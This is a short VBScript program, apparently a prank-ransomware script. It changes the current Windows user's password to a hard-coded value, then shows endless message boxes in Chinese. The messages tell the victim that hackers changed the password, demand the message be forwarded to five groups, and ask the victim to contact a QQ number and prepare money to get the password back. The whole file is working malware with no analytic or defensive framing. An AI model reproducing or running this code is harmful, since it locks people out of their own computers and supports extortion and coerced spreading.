Const strPassword = "senge"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
do
msgbox"你的电脑密码已被黑客修改,不信自己看看账户密码对不对,千万别关机和注销关机你电脑就废了最好赶紧速度转发5个群,转发完了联系Q:936402343 他会帮你解开准备好钱如果不想给钱的话加QQ和那个人商量商量"
msgbox"别想着直接加q 没有发5个群外加截图给他,他是不会理你的."
loop